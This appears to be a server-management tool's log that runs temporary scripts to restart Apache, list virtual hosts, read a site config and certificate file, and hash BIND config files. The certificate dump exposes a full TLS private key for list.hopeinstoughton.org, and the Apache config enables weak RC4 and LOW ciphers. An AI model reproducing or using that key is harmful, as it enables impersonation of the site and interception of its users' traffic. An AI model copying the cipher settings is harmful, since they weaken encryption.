	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf= 1'
fi


2026-04-16 14:41:26: 

chmod 755 /tmp/pkp419705; /tmp/pkp419705; rm /tmp/pkp419705

2026-04-16 14:41:26: 




2026-04-16 14:41:26: 

PUT: /tmp/pkp789873

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-16 14:41:26: 

chmod 755 /tmp/pkp789873; /tmp/pkp789873; rm /tmp/pkp789873

2026-04-16 14:41:26: 


.


2026-04-16 14:41:26: Establishing a connection
2026-04-16 14:41:26: 

PUT: /tmp/pkp794039

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-16 14:41:27: 

chmod 755 /tmp/pkp794039; /tmp/pkp794039; rm /tmp/pkp794039

2026-04-16 14:41:27: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-16 14:41:27: 

PUT: /tmp/pkp678021

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-16 14:41:27: 

chmod 755 /tmp/pkp678021; /tmp/pkp678021; rm /tmp/pkp678021

2026-04-16 14:41:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf	1431

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-16 14:41:27: 

PUT: /tmp/pkp304945

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-16 14:41:27: 

chmod 755 /tmp/pkp304945; /tmp/pkp304945; rm /tmp/pkp304945

2026-04-16 14:41:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt	5401
94:9e:fd:31:b0:b0:cc:20:4f:20:00:66:f5:6d:5e:b0

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBglhBY/T+l2IFGoLrPn4sJ3YMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDE2MTM0MjU1WhcNMjYwNzE1MTM0MjU0WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDyAid7Yp49kkXdLp03CHPWYP69iyYugE0Rx8TNCeYBWHKwrCyb
KSYzeEEw2v8veVu3XKLTxlUIMjq8mkX2B6kmTeiqaXbP2hbH1TSr/CghlTUKxd/7
lrMGaQxZL2DMNDnfKH9TRg+oMgSyxzk8gVCAGULLsEtACmk+OvCmWbjiFs3hCdO3
fgsERq4d2UTKcZhXAul7oDwJMQ089osrEImeOOTlC3elquKtakdRc5Rxq21nyGzy
QJE+GteYRakaim+RWyrCzH7ZG0w9Lo9Yicc7z9vz88JKZ9Nb7U2VYFs00s2KGsZr
brYYIVao8M/dtBd1sjj/wKXR8Bfh/wvJh0zVAgMBAAGjggI7MIICNzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUqwwDy8Nc+d2HU1YKTQeB2rmWmrQwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA4BgNVHREEMTAvghhsaXN0LmhvcGVpbnN0b3VnaHRv
bi5vcmeCE2xpc3Quc3RvdWdodG9uLmxpbmswEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy84OS5jcmww
ggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XG
RvmXrTl1mR3PmgAAAZ2WvVy0AAAEAwBHMEUCIHq/n1lsf/e0DOH5xa8zTtycHM8U
0GfDg/3Qar63NmxwAiEAiab0uUOAw1xjFvL6LXl+AE6oTxQeKvIUNvUa+nucZrMA
fgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ2WvVziAAgAAAUA
BAqzuAQDAEcwRQIhAIOnYGbt48FU2k0IgcBkbcaBrSa+Nx80qwqh7Vgm7mToAiA9
8xIcMIaiYK0YwHt1NBaMR+DY6jnwjSQX0WP4vj4F4TANBgkqhkiG9w0BAQsFAAOC
AQEAXZSKw//2rHQ/MTc5Vx3GR6hAchRtfpbF044f3Tyi22svm4WibgS31hnR7Afn
nZ0+H3IEStba9bXWQFjPmFifG/rw6iztRl8VKf1DgaZQ2v3+ITNwfjGkDJtjATGz
ATwuDpV0YwyCXNBecG8OGT58vPcCNT4pvxXAfndjAjh1ae7y1iYaPGqERhRJ58VT
6MZTS2qR+MK2GVonN0CDhdtCm8PZiAIGhTd6ZnCpTG8x1VryUeQJcGoCJQhpiP94
ppcF0olljWoJ54Cvdypy0CwvD9W3jJnOac6zwIMNaZV7k/2DkfH9A/ibKgw/1UkT
BRo+Mbzmm7kS+XuiaOCEapZqqw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDyAid7Yp49kkXd
Lp03CHPWYP69iyYugE0Rx8TNCeYBWHKwrCybKSYzeEEw2v8veVu3XKLTxlUIMjq8
mkX2B6kmTeiqaXbP2hbH1TSr/CghlTUKxd/7lrMGaQxZL2DMNDnfKH9TRg+oMgSy
xzk8gVCAGULLsEtACmk+OvCmWbjiFs3hCdO3fgsERq4d2UTKcZhXAul7oDwJMQ08
9osrEImeOOTlC3elquKtakdRc5Rxq21nyGzyQJE+GteYRakaim+RWyrCzH7ZG0w9
Lo9Yicc7z9vz88JKZ9Nb7U2VYFs00s2KGsZrbrYYIVao8M/dtBd1sjj/wKXR8Bfh
/wvJh0zVAgMBAAECggEAZSu0YLb+CyRqs4gIrliIwI7k/807pYX6chvu8H6aWmak
76nSrfzaXPsBWdC7jJex2WpPIbRQmPASsQTXiX5zXrGEOjWDt2nnSxwc/GcaScvM
FFhbhhxedCgXQvN1Bnkw1lNiQyhPZFOgtjJmAZ7Xze2BiJCHLNsNWzgdoZVxnoX0
5aF2jcYq9Qgmi2RihsmQbBBfOuHN097GhrKXphGQITJfMTh/VZfj5SONx2wa9a2A
QJgT0DXfBDs5JW3op2tZXf/oJwrFklwjND0GV3Fj1RCm4G4F4zqmVJczjU5yK6ph
tQHSqLJLcUowy57WNMnv1YS1ws5meUWMRoKkZjLOkwKBgQD7Pyi8xhIQbIl5iPHW
zt3Ftdih9zCpHbyya+UmzwaQrpbU2uygJ5s8eaHaC3FhVYWOFsQsPJ9puvuTWHS/
sCGWcXUgsMPtS0WLDuCV4XS+v1B+JGSb0xgSJX4PHRjVnX+Gkh9AcTM659Ob3tVv
BOvo1mco8zwcoOL13vuUjJF7jwKBgQD2lkCG1F/IbGHeLZRi5QGgOPt92sEvt+mZ
OZaAk5+67pwhW40LHeHQEBD25nfWBL3mBka1JDCQC9vZ85G1b+KT+fIZ1YhFVZ/r
RY846SHBymhCbXtPZj/Lde5L7zHc4+q6tBgQE2L404M6OnA0OnnYop+4fKSqwg4A
W+5YPb0PWwKBgQDBzJ4nvsEAWjhQvwmMoFUAxJwtkva9/GopVoCTxu1RfNprpdMQ
Vnyv0UK/ZkQ2yDkUuQro9HoinFCh/4FOuxWtbibi6Ha4+27RLNCfzCC5Yek84+WX
LOVMWg86qT8Wxz4vF1dz5d2WemwHt4L699jg6UD5nWWoz5FCBpYYp7UwkQKBgEkx
bjPXRBscuKwXQW1dZm8lmtjPnvpID+mwY1EFAKue+e8Y2rPLCeUVb8OpwzZer/Ng
N4q7FEMdkgOOvdhqPooH7ennLQzPjqlqO0n8QU3hg7L8BlcaFaOR/MrDVDyp1lnW
7TGQX5dWSSR2himqldJM6zX6oXIiKb/HiebdZInzAoGAQQKnDwozZRGaYV+p4Z/Y
cGJ0+ko+bhCIBXrMeCe2t9EPI0lTiXkHm+6blHMKAHlDHtRCcyIJo5UsgGruU9NQ
onXehtga/b5v61u9LzLGC6FMDpqu6lpfOx+fMf39JwFuT/voU4TWsZFz9ynCoN4P
DehbqCuPlSnUIbrS3YMY2iA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-16 14:41:34: Establishing a connection
2026-04-16 14:41:34: 

PUT: /tmp/pkp826261

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-16 14:41:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp826261; rm /tmp/pkp826261'

2026-04-16 14:41:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
